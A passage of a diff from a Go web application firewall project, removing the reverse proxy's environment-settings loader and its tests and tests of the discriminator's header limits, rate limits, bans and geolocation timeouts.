 	nineHours := bans.Ban{
@@ -225,7 +224,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
 	ledger.Load([]bans.Ban{later, earlier})
 	held := ledger.Snapshot()
-	if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
+	if len(held) != 1 || held[0] != later {
 		t.Errorf("the ledger holds %+v, want only the ban that began later", held)
 	}
 }
@@ -268,7 +267,7 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
 		bans.Notes{})
 	want := []bans.Ban{first, second, kept}
-	if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+	if got := ledger.Snapshot(); !slices.Equal(got, want) {
 		t.Errorf("the ledger holds %+v, want %+v", got, want)
 	}
 }
@@ -1,192 +0,0 @@
 package config
 import (
 	"errors"
 	"fmt"
 	"log/slog"
 	"math"
 	"net/netip"
 	"net/url"
 	"strconv"
 	"strings"
 	"time"
 )
 // RProxy is the settings of `sww rproxy`. A size or time limit of zero
 // is off.
 type RProxy struct {
 	// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
 	ListenAddr string
 	// UpstreamURL is the app (SWRP_UPSTREAM_URL).
 	UpstreamURL *url.URL
 	// TrustedProxies are the netblocks whose X-Forwarded-For is believed
 	// (SWRP_TRUSTED_PROXIES).
 	TrustedProxies []netip.Prefix
 	// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
 	WAFBackend *url.URL
 	// Timeout is how long rproxy waits for discriminator's answer to a question,
 	// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
 	Timeout time.Duration
 	// DefaultDisposition is what is done with a request when discriminator cannot be
 	// connected to, does not answer at all, or does not answer within Timeout:
 	// allow or deny (SWRP_DEFAULT_DISPOSITION).
 	DefaultDisposition string
 	// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
 	// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
 	MaxRequestSize  int64
 	MaxResponseSize int64
 	// MaxRequestTime bounds sending the whole request: the visitor's request
 	// line and headers, and then, from their end, its body on its way to the
 	// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
 	// the end of the request to its last byte reaching the visitor
 	// (SWRP_MAX_RESPONSE_TIME_MS).
 	MaxRequestTime  time.Duration
 	MaxResponseTime time.Duration
 	// settings are the values read, as given or by default, for the log line
 	// at start.
 	settings []slog.Attr
 }
 var (
 	errNeedsWAFBackend = errors.New(
 		"is required: it is discriminator's URL, such as http://discriminator:8080")
 	errNotDisposition  = errors.New("is not allow or deny")
 	errNotMilliseconds = errors.New(
 		"is not a whole number of milliseconds above zero, such as 2000")
 	errNotMillisecondsOrOff = errors.New(
 		"is not a whole number of milliseconds above zero, such as 60000, or off")
 )
 // RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
 // os.LookupEnv. A setting that is not set takes its default, and
 // SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
 // invalid is an error that names it. Since rproxy never touches disk, its
 // settings have no _FILE form.
 func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
 	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
 	cfg := &RProxy{
 		ListenAddr:         env.address("SWRP_LISTEN_ADDR"),
 		UpstreamURL:        env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
 		TrustedProxies:     env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
 		WAFBackend:         env.wafBackend("SWRP_WAF_BACKEND"),
 		Timeout:            env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
 		DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
 		MaxRequestSize:     env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
 		MaxResponseSize:    env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
 		MaxRequestTime:     env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
 		MaxResponseTime:    env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
 	}
 	if env.err != nil {
 		return nil, env.err
 	}
 	cfg.settings = env.settings
 	return cfg, nil
 }
 // RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
 // SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
 // setting, so it reads no other.
 func RProxyListenAddrAndUpstreamURL(
 	lookupEnv func(string) (string, bool),
 ) (string, *url.URL, error) {
 	env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
 	listenAddr := env.address("SWRP_LISTEN_ADDR")
 	upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
 	if env.err != nil {
 		return "", nil, env.err
 	}
 	return listenAddr, upstreamURL, nil
 }
 // withoutFileForms returns lookupEnv finding no setting named with _FILE, since
 // rproxy never touches disk.
 func withoutFileForms(
 	lookupEnv func(string) (string, bool),
 ) func(string) (string, bool) {
 	return func(name string) (string, bool) {
 		if strings.HasSuffix(name, "_FILE") {
 			return "", false
 		}
 		return lookupEnv(name)
 	}
 }
 // LogValue makes an RProxy log as each setting's name with the value it was
 // given, or its default.
 func (c *RProxy) LogValue() slog.Value {
 	return slog.GroupValue(c.settings...)
 }
 // wafBackend reads the setting that is discriminator's URL, which must be set.
 func (e *environment) wafBackend(name string) *url.URL {
 	value := e.value(name, "")
 	if value == "" {
 		e.check(name, errNeedsWAFBackend)
 		return nil
 	}
 	backend, err := parseUpstreamURL(value)
 	e.check(name, err)
 	return backend
 }
 // disposition reads the setting that is what is done with a request when discriminator
 // cannot be connected to, does not answer at all, or does not answer in time:
 // allow or deny.
 func (e *environment) disposition(name, defaultValue string) string {
 	value := e.value(name, defaultValue)
 	if value != "allow" && value != "deny" {
 		e.check(name, fmt.Errorf("%q %w", value, errNotDisposition))
 	}
 	return value
 }
 // milliseconds reads a setting that is a whole number of milliseconds above
 // zero.
 func (e *environment) milliseconds(name, defaultValue string) time.Duration {
 	value := e.value(name, defaultValue)
 	duration, valid := parseMilliseconds(value)
 	if !valid {
 		e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
 	}
 	return duration
 }
 // millisecondsOrOff reads a setting that is a whole number of milliseconds
 // above zero, or off, which is 0.
 func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
 	value := e.value(name, defaultValue)
 	if value == off {
 		return 0
 	}
 	duration, valid := parseMilliseconds(value)
 	if !valid {
 		e.check(name, fmt.Errorf("%q %w", value, errNotMillisecondsOrOff))
 	}
 	return duration
 }
 // parseMilliseconds reads a whole number of milliseconds above zero, and
 // reports whether it is one.
 func parseMilliseconds(value string) (time.Duration, bool) {
 	n, err := strconv.ParseInt(value, 10, 64)
 	if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
 		return 0, false
 	}
 	return time.Duration(n) * time.Millisecond, true
 }
@@ -1,231 +0,0 @@
 package config_test
 import (
 	"net/netip"
 	"os"
 	"path/filepath"
 	"slices"
 	"strings"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 )
 // rproxy's settings, by name, and their values in these tests.
 const (
 	wafBackend        = "SWRP_WAF_BACKEND"
 	rproxyTimeout     = "SWRP_TIMEOUT_MS"
 	rproxyDefault     = "SWRP_DEFAULT_DISPOSITION"
 	rproxyListen      = "SWRP_LISTEN_ADDR"
 	rproxyUpstream    = "SWRP_UPSTREAM_URL"
 	rproxyTrusted     = "SWRP_TRUSTED_PROXIES"
 	rproxyMaxRequest  = "SWRP_MAX_REQUEST_SIZE"
 	rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
 	rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
 	rproxyAnswerTime  = "SWRP_MAX_RESPONSE_TIME_MS"
 	backendURL        = "http://discriminator:8080"
 	rproxyDefaultAddr = ":8080"
 	rproxyDefaultApp  = "http://127.0.0.1:8081"
 	notASize          = "a lot"
 )
 // rproxyConfig reads rproxy's settings from env.
 func rproxyConfig(env map[string]string) (*config.RProxy, error) {
 	return config.RProxyFromEnvironment(func(name string) (string, bool) {
 		value, ok := env[name]
 		return value, ok
 	})
 }
 func TestRProxyDefaults(t *testing.T) {
 	t.Parallel()
 	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
 	if cfg.ListenAddr != rproxyDefaultAddr ||
 		cfg.UpstreamURL.String() != rproxyDefaultApp ||
 		cfg.WAFBackend.String() != backendURL {
 		t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
 	}
 	if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
 		t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
 	}
 	if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
 		t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
 	}
 	if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
 		t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
 	}
 	want := []netip.Prefix{
 		netip.MustParsePrefix("10.0.0.0/8"),
 		netip.MustParsePrefix("172.16.0.0/12"),
 		netip.MustParsePrefix("192.168.0.0/16"),
 	}
 	if !slices.Equal(cfg.TrustedProxies, want) {
 		t.Errorf("trusted proxies %v, want %v", cfg.TrustedProxies, want)
 	}
 }
 func TestRProxySettingsAreRead(t *testing.T) {
 	t.Parallel()
 	cfg, err := rproxyConfig(map[string]string{
 		wafBackend:        "https://waf.example:8443",
 		rproxyListen:      ":9000",
 		rproxyUpstream:    "http://app:3000",
 		rproxyTrusted:     "192.0.2.0/24",
 		rproxyTimeout:     "150",
 		rproxyDefault:     "deny",
 		rproxyMaxRequest:  "1K",
 		rproxyMaxResponse: off,
 		rproxyRequestTime: off,
 		rproxyAnswerTime:  "250",
 	})
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
 	if cfg.ListenAddr != ":9000" || cfg.UpstreamURL.Host != "app:3000" ||
 		cfg.WAFBackend.Host != "waf.example:8443" ||
 		cfg.TrustedProxies[0] != netip.MustParsePrefix("192.0.2.0/24") {
 		t.Errorf("addresses %+v", cfg)
 	}
 	if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
 		cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
 		cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
 		t.Errorf("limits %+v", cfg)
 	}
 }
 func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name, value string
 	}{
 		{wafBackend, ""},
 		{wafBackend, "discriminator:8080"},
 		{wafBackend, "http://discriminator:8080/path"},
 		{rproxyTimeout, "0"},
 		{rproxyTimeout, "-1"},
 		{rproxyTimeout, off},
 		{rproxyTimeout, "2s"},
 		{rproxyTimeout, "1.25"},
 		{rproxyTimeout, "99999999999999999"},
 		{rproxyDefault, "maybe"},
 		{rproxyListen, "8080"},
 		{rproxyUpstream, "app"},
 		{rproxyUpstream, "127.0.0.1:8081"},
 		{rproxyUpstream, "ftp://127.0.0.1:8081"},
 		{rproxyUpstream, "http://"},
 		{rproxyUpstream, "http://:8081"},
 		{rproxyUpstream, "http://127.0.0.1:0"},
 		{rproxyUpstream, "http://127.0.0.1:99999"},
 		{rproxyUpstream, "http://127.0.0.1:8081/app"},
 		{rproxyUpstream, "http://127.0.0.1:8081/?a=1"},
 		{rproxyUpstream, "http://user:secret@127.0.0.1:8081"},
 		{rproxyTrusted, "not a netblock"},
 		{rproxyTrusted, "10.0.0.0/33"},
 		{rproxyTrusted, "10.0.0.0/8,,192.168.0.0/16"},
 		{rproxyTrusted, "fe80::1%eth0"},
 		{rproxyMaxRequest, notASize},
 		{rproxyMaxResponse, notASize},
 		{rproxyRequestTime, "0"},
 		{rproxyRequestTime, "1m"},
 		{rproxyAnswerTime, "0"},
 	} {
 		t.Run(tc.name+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 			_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
 			if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
 				t.Errorf("error %v, want one naming %s", err, tc.name)
 			}
 		})
 	}
 }
 func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
 	t.Parallel()
 	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
 	if len(cfg.TrustedProxies) != 0 {
 		t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
 	}
 }
 func TestRProxyNeedsItsBackend(t *testing.T) {
 	t.Parallel()
 	_, err := rproxyConfig(nil)
 	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want one saying %s is required", err, wafBackend)
 	}
 }
 func TestRProxyReadsNoFile(t *testing.T) {
 	t.Parallel()
 	path := filepath.Join(t.TempDir(), "backend")
 	err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
 	if err != nil {
 		t.Fatalf("write: %v", err)
 	}
 	_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
 	if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
 		t.Errorf("error %v, want %s still required", err, wafBackend)
 	}
 	cfg, err := rproxyConfig(map[string]string{
 		wafBackend:              backendURL,
 		rproxyTimeout + "_FILE": "/nonexistent/timeout",
 	})
 	if err != nil {
 		t.Fatalf("settings: %v, with the file left unread", err)
 	}
 	if cfg.Timeout != 2*time.Second {
 		t.Errorf("timeout %v, want the default", cfg.Timeout)
 	}
 }
 func TestRProxySettingsAreLoggedByName(t *testing.T) {
 	t.Parallel()
 	cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
 	group := cfg.LogValue().Group()
 	names := make([]string, 0, len(group))
 	for _, attr := range group {
 		names = append(names, attr.Key)
 	}
 	for _, name := range []string{
 		rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
 		rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
 	} {
 		if !slices.Contains(names, name) {
 			t.Errorf("%s is not logged, only %v", name, names)
 		}
 	}
 }
@@ -1,570 +0,0 @@
 package discriminator_test
 import (
 	"fmt"
 	"maps"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"slices"
 	"strconv"
 	"strings"
 	"testing"
 	"testing/synctest"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 const (
 	// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
 	// discriminator has to answer.
 	answerTimeLimit = 2 * time.Second
 	// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
 	defaultLookupWait = 800 * time.Millisecond
 	// The header limits SPEC.md gives.
 	cookieLimit      = 50
 	headerFieldLimit = 100
 	// cookieHeader is the header the cookie limit counts.
 	cookieHeader = "Cookie"
 	// tooLarge is how discriminator refuses a request over the header limits.
 	tooLarge = http.StatusRequestHeaderFieldsTooLarge
 	// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
 	// that unansweredGeoJSURL names too.
 	silentAbuseIPDBURL = "unanswered://abuseipdb/api/v2/check"
 	// wholeLimit is the percentage of a rate limit that lowers it not at all.
 	wholeLimit = 100
 	// clientsDecision is the CrowdSec decision list holding client alone.
 	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
 		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
 )
 // cookies returns a Cookie header's value with count cookies.
 func cookies(count int) string {
 	parts := make([]string, 0, count)
 	for i := range count {
 		parts = append(parts, "c"+strconv.Itoa(i)+"=1")
 	}
 	return strings.Join(parts, "; ")
 }
 // fillHeaders adds headers to a question until the checks see total header
 // fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
 // client sends nothing else but Host, which the limit does not count, once
 // User-Agent is set.
 func fillHeaders(req *http.Request, total int) {
 	req.Header.Set("User-Agent", "test")
 	for i := len(req.Header) - 2; i < total; i++ {
 		req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
 	}
 }
 func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
 	t.Parallel()
 	s := startDiscriminator(t, "", map[string]string{wafMode: block})
 	req := s.question(siteA, client, "/")
 	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
 	began := time.Now()
 	got := do(t, req)
 	if took := time.Since(began); took >= answerTimeLimit/2 {
 		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
 	}
 	wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
 	line := s.out.requestLine(t)
 	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
 	if line.DurationWAF != nil {
 		t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationWAF)
 	}
 }
 func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
 	t.Parallel()
 	repeated := make([]string, headerFieldLimit)
 	for i := range repeated {
 		repeated[i] = "1"
 	}
 	for _, tc := range []struct {
 		name string
 		make func(*http.Request)
 		// refused is true for a request over a limit, and false for one at it.
 		refused bool
 	}{
 		{"cookies at the limit", func(req *http.Request) {
 			req.Header.Set(cookieHeader, cookies(cookieLimit))
 		}, false},
 		{"cookies over the limit", func(req *http.Request) {
 			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 		}, true},
 		{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
 			req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
 		}, false},
 		{"parts of no-break spaces count", func(req *http.Request) {
 			req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
 		}, true},
 		{"cookies over the limit across two headers", func(req *http.Request) {
 			req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
 		}, true},
 		{"cookies without a value count", func(req *http.Request) {
 			req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
 		}, true},
 		{"header fields at the limit", func(req *http.Request) {
 			fillHeaders(req, headerFieldLimit)
 		}, false},
 		{"header fields over the limit", func(req *http.Request) {
 			fillHeaders(req, headerFieldLimit+1)
 		}, true},
 		{"a header sent many times counts each time", func(req *http.Request) {
 			req.Header["X-Filler"] = repeated
 		}, true},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			s := startDiscriminator(t, "", map[string]string{wafMode: block})
 			req := s.question(siteA, client, "/")
 			tc.make(req)
 			got := do(t, req)
 			line := s.out.requestLine(t)
 			if tc.refused {
 				wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
 				wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
 				return
 			}
 			wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
 			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
 			if line.DurationWAF == nil {
 				t.Error("the Core Rule Set did not read a request within the limits")
 			}
 		})
 	}
 }
 func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
 	t.Parallel()
 	for _, env := range []map[string]string{
 		{wafMode: off},
 		{wafMode: "detect"},
 		{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
 	} {
 		t.Run(fmt.Sprint(env), func(t *testing.T) {
 			t.Parallel()
 			s := startDiscriminator(t, "", env)
 			req := s.question(siteA, client, "/")
 			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 			wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
 		})
 	}
 }
 func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
 	t.Parallel()
 	s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
 	req := s.question(siteA, client, "/")
 	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 	wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
 }
 func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
 	t.Parallel()
 	s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
 	req := s.question(siteA, client, "/")
 	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
 	began := time.Now()
 	got := do(t, req)
 	if took := time.Since(began); took >= answerTimeLimit/2 {
 		t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
 	}
 	wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
 	line := s.out.requestLine(t)
 	if line.WouldAction != requestlog.ActionTooLarge || line.DurationWAF != nil {
 		t.Errorf("would_action %q and duration_waf %v, want %q and none",
 			line.WouldAction, line.DurationWAF, requestlog.ActionTooLarge)
 	}
 }
 func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
 	t.Parallel()
 	s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
 	ask := func() answer {
 		req := s.question(siteA, client, "/")
 		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 		return do(t, req)
 	}
 	wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
 	wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
 	lines := s.out.requestLines(t, 2)
 	wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionRateLimited)
 }
 func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name, path, action string
 	}{
 		{"a trap path", "/wp-login.php", requestlog.ActionBanned},
 		{"a block rule", "/blocked", requestlog.ActionRuleBlocked},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			s := startDiscriminator(t, "", map[string]string{
 				trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
 			})
 			req := s.question(siteA, client, tc.path)
 			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 			wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
 			wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
 		})
 	}
 }
 func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
 	t.Parallel()
 	geojsURL, _ := startGeoJS(t)
 	s := startDiscriminator(t, geojsURL, map[string]string{
 		unknownLimitPercent: "0", lookupTimeout: "1h",
 	})
 	req := s.question(siteA, fromDE, "/")
 	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 	wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
 	line := s.out.requestLine(t)
 	wantLine(t, line, tooLarge, requestlog.ActionTooLarge)
 	if line.LimitPercent != nil {
 		t.Errorf("limit percentage %d, want none", *line.LimitPercent)
 	}
 	// The client is under no ban, and GeoJS places it in a country.
 	wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
 }
 func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
 	t.Parallel()
 	geojsURL, _ := startGeoJS(t)
 	s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
 	s.server.GeoJS.Load([]lookup.Answer{{
 		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
 		Answered: s.clock.Now(), Used: s.clock.Now(),
 	}})
 	req := s.question(siteA, client, "/")
 	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 	wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
 	wantLine(t, s.out.requestLine(t), http.StatusForbidden, requestlog.ActionRateLimited)
 }
 func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
 	t.Parallel()
 	geojsURL, _ := startGeoJS(t)
 	s := startDiscriminator(t, geojsURL, map[string]string{
 		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
 	})
 	req := s.question(siteA, fromDE, "/")
 	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
 	got := do(t, req)
 	wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
 	asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
 	if asn != asnDE || country != "DE" {
 		t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
 			asn, country, asnDE)
 	}
 }
 // newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
 // answers, a setting needs its answer, and everything is at its default but
 // for env. No request to it may use the network.
 func newDiscriminatorInBubble(
 	t *testing.T, env map[string]string,
 ) (*discriminator.Server, *output) {
 	t.Helper()
 	settings := map[string]string{deniedCountries: "KP"}
 	maps.Copy(settings, env)
 	server, out, _ := newDiscriminator(t, unansweredGeoJSURL, time.Now, settings)
 	return server, out
 }
 // askDirectly hands a question about a request from client straight to server,
 // as change leaves it, and returns the answer's status and how long it took.
 func askDirectly(
 	t *testing.T, server *discriminator.Server, change func(*http.Request),
 ) (int, time.Duration) {
 	t.Helper()
 	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
 	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
 	req.Header.Set(discriminator.ClientHeader, client)
 	req.Header.Set(requestIDHeader, "the-id")
 	change(req)
 	recorder := httptest.NewRecorder()
 	began := time.Now()
 	server.Handler.ServeHTTP(recorder, req)
 	return recorder.Code, time.Since(began)
 }
 // banClient bans client at now.
 func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
 	server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
 }
 // countClient counts one request from client at now for the rate limits.
 func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
 	server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
 }
 // listClient puts client on the blocklist at dropURL.
 func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
 	t.Helper()
 	err := server.Lists.Load([]reputation.List{{
 		URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
 	}})
 	if err != nil {
 		t.Fatalf("load the blocklist: %v", err)
 	}
 }
 // decideOnClient puts client on the CrowdSec decision list.
 func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
 	t.Helper()
 	loadDecisions(t, server, now, clientsDecision)
 }
 // leaveAsItIs prepares nothing.
 func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
 func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 	t.Parallel()
 	const forbidden = http.StatusForbidden
 	for _, tc := range []struct {
 		name string
 		env  map[string]string
 		// prepare gets the server ready, at now, before the question.
 		prepare func(t *testing.T, server *discriminator.Server, now time.Time)
 		// cookie is the request's Cookie header.
 		cookie string
 		status int
 		action string
 	}{
 		{
 			name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
 			prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied,
 		},
 		{
 			name:    "a ban",
 			prepare: banClient, status: forbidden, action: requestlog.ActionBanned,
 		},
 		{
 			name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
 			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
 		},
 		{
 			name:    "the rate limits, with a biased threshold",
 			env:     map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
 			prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
 		},
 		{
 			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
 			prepare: listClient, status: forbidden, action: requestlog.ActionDenied,
 		},
 		{
 			name:    "the CrowdSec decision list",
 			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
 			prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned,
 		},
 		{
 			name: "the header limits", cookie: cookies(cookieLimit + 1),
 			prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
 			// says, so that a request that does not wait takes no time at all.
 			synctest.Test(t, func(t *testing.T) {
 				server, out := newDiscriminatorInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
 				status, took := askDirectly(t, server, func(req *http.Request) {
 					req.Header.Set(cookieHeader, tc.cookie)
 				})
 				if status != tc.status || took != 0 {
 					t.Errorf("answered %d after %s, want %d at once; output:\n%s",
 						status, took, tc.status, out.text())
 				}
 				wantLine(t, out.requestLine(t), tc.status, tc.action)
 				// GeoJS's request is abandoned before the bubble ends.
 				time.Sleep(defaultLookupWait)
 			})
 		})
 	}
 }
 func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		env  map[string]string
 		// prepare gets the server ready, at now, before the question.
 		prepare func(t *testing.T, server *discriminator.Server, now time.Time)
 		status  int
 		action  string
 	}{
 		{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
 		{
 			"a country list needs the answer", map[string]string{allowedCountries: "DE"},
 			leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
 		},
 		{
 			"a blocklist that only logs",
 			map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
 			listClient, http.StatusOK, requestlog.ActionForward,
 		},
